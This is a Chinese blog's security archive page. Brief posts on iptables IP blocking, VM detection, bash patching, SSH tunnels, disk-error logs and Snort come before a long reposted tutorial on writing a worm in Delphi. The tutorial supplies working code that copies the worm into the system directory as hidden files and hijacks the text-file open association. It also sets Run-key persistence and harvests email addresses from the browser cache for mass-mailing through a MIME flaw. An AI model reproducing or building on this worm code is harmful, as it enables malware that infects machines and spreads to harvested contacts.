分类目录归档:安全

iptables和ipset批量限制非法ip源

一、获取非法ip源:

扫描登录失败的日志:
less secure*|grep “Failed password for root from”  >/tmp/gj.list
对扫描日志进行分析,非法尝试失败超过50的ip列出来,保存为gongji.ip
cat /tmp/gj.list|perl -anle  ‘print $F[10]’|sort |uniq -c|sort -n |perl -anle ‘print $F[1] if $F[0]>50 ‘>/tmp/gongji.ip

继续阅读

如何判断 Linux 是否运行在虚拟机上/zz/

 

在 WebHostingTalk 论坛上有些国外奸商会把虚拟机当作独立服务器卖,去年7月份的时候就有一位中国同胞上当受骗, 并在 WHT 上发帖声讨,证据确凿,甚至连服务商自己也承认,回帖达355篇。这家独立服务器/VPS 提供商 HostATree.com 居然大胆的把 OpenVZ VPS 这种一看就知道是虚拟机的虚拟机当作独立服务器卖,晕,至少也要弄个 VMWare/KVM/Xen HVM 吧(更难发现是虚拟机),用 OpenVZ 这种容器也太欺负人了:)昨天恰好收到网友一封邮件问到了如何判断自己买的是独立服务器还是虚拟机的问题。这里 VPSee 简单介绍一下市面上常用虚拟技术(包括容器技术)的判别小技巧。

继续阅读

bash重大漏洞用rex批量升级服务器

9月25日消息,继“心脏流血”漏洞之后,安全研究专家又发现了一个危险级别为“毁灭级”(catastrophic)的漏洞,开源软件公司Red Hat在一份报告中称,在Linux系统中广泛使用的Bash软件漏洞有可能让黑客利用攻击一切连入互联网的设备。

美国国土安全部下属的美国电脑紧急响应团队(以下简称“US-CERT”)发出警告称,这一漏洞可能影响基于Unix的操作系统,包括Linux和Mac OS X

用rex强大的工具可以在短时间内批量升级大量的服务器,只需安装rex创建如下的task,即可。

执行 rex -qw update_bash

继续阅读

ssh隧道及其用法

 

何谓SSH隧道

隧道是一种把一种网络协议封装进另外一种网络协议进行传输的技术。这里我们研究ssh隧道,所以所有的网络通讯都是加密的。又被称作端口转发,因为ssh隧道通常会绑定一个本地端口,所有发向这个端口端口的数据包,都会被加密并透明地传输到远端系统。

SSH隧道的类型

ssh隧道有3种类型:

  1. 动态端口转发(Socks 代理) -D
  2. 本地端口转发  -L
  3. 远端端口转发 -R

继续阅读

Linux内核报错日志与硬盘I/O故障对应关系/zz/

 

 

日志信息 故障现象描述 与硬盘关系
scsi1: ERROR on channel 0, id 7, lun 0, CDB: Read (10) 00 73 fc 62 bf 00 00 80 00

Info fld=0x73fc6326, Current sdi: sense key Medium Error

Additional sense: Unrecovered read error

SMART规范定义“Medium Error”错误是一种不可恢复的错误,可能由于介质的缺陷或记录的数据错误。该错误有别于“Hardware Error”。

出现Medium Error的主要原因是硬盘坏,或者硬盘的数据无法读写。

  1. 硬盘扇区坏
  2. 硬盘与磁盘控制器连接信号质量不稳定,导致数据出现异常
mptbase: ioc1: IOCStatus=804b LogInfo=31080000

Originator={PL}, Code={SATA NCQ Fail All Commands After Error}, SubCode(0×0000)

原生指令排序(Native Command Queuing,简称NCQ),原先是改善服务器硬盘存取控制技术,应用在SCSI和SATA 1.0/2.0/3.0接口硬盘读写的加速技术,其接口开启磁盘阵列RAID亦有所提升。透过硬盘固件、硬盘控制器以及操作系统三者的互相配合,改善硬盘内部磁区的读取顺序,可以提高硬盘效能约30%,亦能够轻微减轻硬盘损耗的速率。NCQ对用于服务器上的硬盘的效率提升尤为明显。

PL:Protocol Layer,指磁盘控制器中的协议层

该信息与硬盘是否故障无直接联系
end_request: I/O error, dev sdi, sector 1945920256

EXT2-fs error (device sdi1): read_inode_bitmap: Cannot read inode bitmap – block_group = 222, inode_bitmap = 14547217

EXT2-fs error (device sdi1): ext2_get_inode: unable to read inode block – inode=951895, block=15202501

内核不能从硬盘上的文件系统读取数据。
  1. 硬盘扇区坏。
  2. 硬盘与磁盘控制器连接信号质量不稳定,导致数据出现异常。
mptbase: ioc1: IOCStatus=8000 LogInfo=31110d00

Originator={PL}, Code={Reset}, SubCode(0x0d00)

mptbase: ioc1: IOCStatus=804b LogInfo=31110d00

Originator={PL}, Code={Reset}, SubCode(0x0d00)

驱动准备让磁盘控制器IOC单元复位,出现该操作原因为驱动发现多次读写硬盘数据失败。

IOCStatus=0×8000

磁盘控制器配置页面处于共享的递归方式。

IOCStatus=0×8048

尝试读取不存在的超级配置数据。

IOCStatus=0x804b

超级数据序列号由0xffffffff变为0

该信息不能作为硬盘故障的依据。打印该信息的原因,与硬盘/磁盘控制器IOC单元/硬盘与控制器之间的链路有关。IOC错误码含义见前面。
mptscsih: ioc1: attempting task abort! (sc=000001007b4cf340)

scsi1 : destination target 8, lun 0

command = Read (10) 00 5f 2a 4d 3f 00 10 00 00

磁盘控制器驱动尝试取消读写任务。本示例代码中,表明取消在target 8,lun 0的读数据任务。 该信息与硬盘是否故障无直接联系
mptbase: ioc1: IOCStatus=8048 LogInfo=31130000

Originator={PL}, Code={IO Not Yet Executed}, SubCode(0×0000)

磁盘控制器驱动报告报告当前IOC(I/O Controller)单元状态码 该信息与硬盘是否故障无直接联系
mptscsih: ioc1: task abort: SUCCESS (sc=000001007b4cf340) 磁盘控制器驱动报告读写任务取消成功 该信息与硬盘是否故障无直接联系
mptscsih: ioc1: attempting target reset!

mptscsih: ioc1: attempting bus reset! (sc=000001007b4cf340)

mptscsih: ioc1: Attempting host reset! (sc=000001007b4cf340)

mptbase: Initiating ioc1 recovery

磁盘控制器驱动尝试复位target/bus/host,并重新恢复IOC(I/O Controller)单元 该信息不能作为硬盘故障的依据。打印该信息的原因,与硬盘/磁盘控制器IOC单元/硬盘与控制器之间的链路有关。
scsi: Device offlined – not ready after error recovery: host 1 channel 0 id 8 lun 0 硬盘offline,硬盘的位置为host 1 channel 0 id 8 lun 0 硬盘处于故障状态或丢失
SCSI error : <1 0 8 0> return code = 0×10000

end_request: I/O error, dev sdj, sector 1596607807

scsi1 (8:0): rejecting I/O to offline device

SCSI层报告在host 1 channel 0 id 8 lun 0设备上读写错误,返回码为0×10000,表明设备已不在位。 硬盘处于故障状态或丢失
mptsas: ioc1: attaching sata device, channel 0, id 11, lun 0, phy 0 系统新加入新的硬盘,硬盘所在位置为phy 0,即第一个物理槽位。 插入新的硬盘
mptsas: ioc0: removing sata device, channel 0, id 21, phy 2 从系统中拔掉一块硬盘,硬盘对应的物理位置为phy 2,即第3个物理槽位。 拔除一块硬盘
Remounting filesystem read-only 文件系统变为只读,原因为文件系统遭到破坏 与硬盘是否故障无直接关系

 

iptables基础知识详解/zz/

 

iptables防火墙可以用于创建过滤(filter)与NAT规则。所有Linux发行版都能使用iptables,因此理解如何配置iptables将会帮助你更有效地管理Linux防火墙。如果你是第一次接触iptables,你会觉得它很复杂,但是一旦你理解iptables的工作原理,你会发现其实它很简单。

继续阅读

强大的轻量级网络入侵检测系统SNORT/zz/

1.简介

在网络日益普及的今天,网络安全变的越来越重要,作为网络安全的一个重要组成部分网络入侵检测 系统(Network Intrusion Detection System,NIDS)也越来越显示出其重要性。NIDS用来监视网络数据流动情况,当入侵发生时能够提供报警。现在已经出现了很多商业的NIDS,但 是它们大多比较复杂,比较难以掌握,而且比较昂贵,比较小的公司无法承受。本文将介绍一个出色的免费NIDS系统—snort,它基于GPL,作者是 Martin Roesch。最新版本是1.70版。本文将介绍snort的技术特点及如何使用snort作为NIDS。

继续阅读

浅谈用delphi来编写蠕虫病毒/zz/

浅谈用delphi来编写蠕虫病毒/zz/

作者:不详
出处:不详
//////////
前言:

可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。

一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes…..等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)

首先,我们知道,一个病毒程序一般都分下面三个模块:

①保护模块;

②感染模块;

③发作模块。

下面我们就从这三个模块开始,分别实现他们的代码。

一)保护模块。

一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%

那么,我们首先要取得这些特定的目录的路径

sdk里面给我们提供了一个这样的函数GetSystemDirectory

UINT GetSystemDirectory(

LPTSTR lpBuffer, // 存放返回的字符串的缓冲区

UINT uSize // 上面的缓冲去的长度

);

相关的函数还有GetWindowsDirectory可以得到%windows%的路径

得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile

BOOL CopyFile(

LPCTSTR lpExistingFileName, // 源文件的路径

LPCTSTR lpNewFileName, // 目标文件的路径

BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖

);

拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,

除非选取查看所有文件,以及显示受保护文件。

同样,介绍一个函数SetFileAttributes

BOOL SetFileAttributes(

LPCTSTR lpFileName, // 需要设置的文件的文件名

DWORD dwFileAttributes // 设置的值。

);

我们这里要设置为隐藏和系统,那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM

下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,

首先用RegOpenKey函数来打开一个键,

LONG RegOpenKey(

HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE

LPCTSTR lpSubKey, // 跟随的subkey

PHKEY phkResult // 存放函数返回这个打开的键的句柄

);

得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。

LONG RegSetValueEx(

HKEY hKey, // 这个就是刚才我们得到的句柄

LPCTSTR lpValueName, // 键名的地址

DWORD Reserved, // 一般设置为0

DWORD dwType, // 我们写的键的类型,字符串为REG_SZ

CONST BYTE *lpData, // 键值的地址

DWORD cbData // 写入的键值的长度

);

下面,我综合上面的说明来给出一个简短的例子:

procedure SelfCopy;

var

Path,Value:array [0..255] of char;

Hk:HKEY;

S:string;

begin

GetSystemDirectory(Path,256);

//取得系统的路径

s:=strpas(Path);

//转换成字符串

CopyFile(pchar(paramstr(0)),pchar(S+’\ruin.exe’),false);

CopyFile(pchar(paramstr(0)),pchar(S+’\virus_ruin.exe’),false);

//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe

SetFileAttributes(pchar(S+’\ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

SetFileAttributes(pchar(S+’\virus_ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

//设置刚才的两个文件为系统和隐藏

RegOpenKey(HKEY_CLASSES_ROOT,’txtfile\shell\open\command’,Hk);

Value:=’virus_ruin.exe %1′;

RegSetValueEx(Hk,”,0,REG_SZ,@Value,17);

//把virus_ruin.exe和文本文件关联

RegOpenKey(HKEY_LOCAL_MACHINE,’Software\Microsoft\Windows\CurrentVersion\Run’,Hk);

Value:=’ruin.exe’;

RegSetValueEx(Hk,’ruin’,0,REG_SZ,@Value,8);

//设置开机自动运行ruin.exe

end;

我们看上面的这个程序,就完成了自我复制,和开机自动运行,

并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。

不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,

并且进行自我保护。

如:

begin

if paramcount=1 then

shellexecute(0,’open’,’notepad.exe’,pchar(paramstr(1)),nil,sw_normal);

//其他的代码

这里,我只是给出一个简单的例子来描述出一个大概的思路,

很多地方还不完善,比如进程的隐藏,

你可以进行判断,

如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,

或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini

或者……….

因为我这里只是浅谈,只给大家提供一个思路,

如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。

{

注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵!

如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!

}

各位看官,我们接着上次的part Ⅰ 开始讲解!

上次我只是简单的讲解了如何进行简单的自我保护,也算是简单的完成了一个蠕虫病毒的自我保护了,

而蠕虫最重要的一个环节就是进行传染了,一般都是把自己做为邮件的附件发送出去,然后配合一些系

统的漏洞,比如mime漏洞,只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个

outlook的通讯薄里的用户,但是这样一来就不能自己控制发送的内容,也就是不能利用mime漏洞了,所以,

需要我们自己来手工的编写程序来解决这个问题。

那么就给我们编写程序提出了几个问题:

1)如何得到该电脑上的email地址。

2)如何用delphi来进行邮件的发送。(当然不能用控件了,所以只用winsock)

下面,我们首先来解决第一个问题。

一)得到电脑上的email地址

要得到电脑上的email地址,我想应该是可以从outlook的通讯薄直接得到,但是我才疏学浅,还没有搞定

这个问题,如果你有这方面的资料,还请你告诉我。于是,我们就换一种方法,我们来从IE的缓存中提取地址。

老惯例,文字不够用代码来凑,介绍几个函数:

function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;

function FindNext(var F: TSearchRec): Integer;

procedure FindClose(var F: TSearchRec);

上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的,不过既然delphi为我们提供了现成

的说明,我们就利用它好了,毕竟在delphi里使用起来也方便一些。根据上面的三个函数,我们了一个函数来

搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法,如果找到的文件是目录,并且不是”.”或者”..”就进行递归。

好,我们还是边看代码边解释。

procedure FindFiles(StartDir: string);

var

SR: TSearchRec; //用来储存返回的文件的一些数据

IsFound: Boolean;//做为一个标志

begin

IsFound :=FindFirst(StartDir+’*.htm’, faAnyFile-faDirectory, SR) = 0;

//在startdir里面查找htm文件

while IsFound do begin

//如果找到htm文件

GetEmailAddress(startdir+sr.Name);

//这里调用我们自己定义的函数,传递的参数是startdir+sr.name也就是该文件的绝对路径。

//注意,这里的函数 GetEmailAddress我们等一下再来描述

IsFound := FindNext(SR) = 0;

//继续查找htm文件,只到标志isfound为false

end;

FindClose(SR);

IsFound := FindFirst(StartDir+’*.*’, faAnyFile, SR) = 0;

//现在是查找所有的文件

while IsFound do begin

if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> ‘.’) then

findfiles(startdir+sr.Name+’\’);

//如果该文件是目录,并且不是”.”或者”..”,那么就在该目录里继续查找,也就是在这里递归了。

IsFound := FindNext(SR) = 0;

end;

FindClose(SR);

end;

ok,看到这里,我想聪明的你一定看到了我们的那个函数GetEmailAddress了,对了,我们就是不停的枚举

缓存中的所有文件,如果是htm文件,就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。

那下面的这个函数GetEmailAddress就很容易编写了。

我只说一说简单的原理,就是打开一个htm文件,

一次读一行文本,然后看是否有”mailto:”,

如果有,就把紧接着的字符读出来,只到出现非法字符。

不过有一点这个方法只能读作为连接的email地址,

不过也足够了。

好,大家看程序:

procedure GetEmailAddress(FileName:string);

var

F:textfile;

S:string;//用来装每次读一行的字符串

Address:string;//得到的email地址

i,Position:integer;

begin

AssignFile(F,FileName);

Reset(f);

while not Eof(f) do

begin

Address:=”;

//首先清空address

Readln(f,s);

//读取一行字符串到s中

Position:=Pos(‘mailto:’,S);

//查找首个”mailto:”在s中的地址,如果一行中含有多个”mailto:”则需要你自己修改修改

if Position > 0 then

begin

for i:=Position+7 to length(S) do

//这里position+7里的7表示”mailto:”的长度

begin

if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]=’.’) then

//判断是否有效字符

Address:=Address+S[i]

else

break;

end;

if (Address<>”) and (Pos(‘@’,Address)<>0) then

//如果是有效地址,就把它写到列表中去。

//但是,可能这个地址以前已经存在在这个列表中,

//所以我定义了一个函数WriteAddress来判断是否存在该地址

//如果不存在,就添加到地址列表中去。

WriteAddress(Address);

end;

end;

closefile(f);

end;

现在搜索email地址只剩下最后一道工序了,那就是上面的WriteAddress函数,

用来判断地址的有效性。这个很简单,

我也不打算用什么数据结构或者算法,只是用最简便的方法来实现。

程序代码如下:

procedure WriteAddress(Address:string);

var

F:textfile;

S,Str:string;

CanWrite:boolean;

Path:array[0..255] of char;

begin

GetSystemDirectory(path,256);

//首先取得系统目录,到时候把email地址列表文件保存到这里。

Str:=Strpas(Path);

CanWrite:=true;

AssignFile(F,Str+’\maillist.lst’);

if FileExists(Str+’\maillist.lst’)=false then

begin

//如果不存在maillist.lst,则信建一个文件maillist.lst来存放email地址。

Rewrite(F);

writeln(F,Address);

Closefile(F);

exit;

end else

begin

Reset(f);

while not Eof(F) do

begin

Readln(F,S);

if Address=S then

begin

CanWrite:=false;

break;

end;

end;

CloseFile(F);

end;

//上面用来和文件里以经存在的地址一个一个的进行效验,如果不存在就写到列表里去。

if CanWrite then

begin

Append(F);

Writeln(F,Address);

CloseFile(F);

end;

end;

当然,如同我们上面所说,我只是用最简便的方法来做,

如果你要讲究效率,当然可以进行一些改动,

比如说搜索到的地址来做一个堆,

最后把堆里所有的地址都写到列表里来就可以了。

好,现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了,

如下:

var

HK:HKEY;

IeCache:array[0..255] of char;

IeCacheLen:integer;

S:string;

begin

IeCacheLen:=256;

//设置返回值的长度

RegOpenKey(HKEY_CURRENT_USER,’Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\’,HK);

RegQueryValueEx(HK,’Cache’,nil,nil,@IeCache,@ieCacheLen);

//读取IE缓存的路径

S:=Strpas(IeCache)+’\’;

//在刚才取得的路径后面加一个’\’

FindFiles(S);

//调用我们自己写的函数

end;

调用完毕后,email地址就都保存在系统目录的maillist.lst文件中了。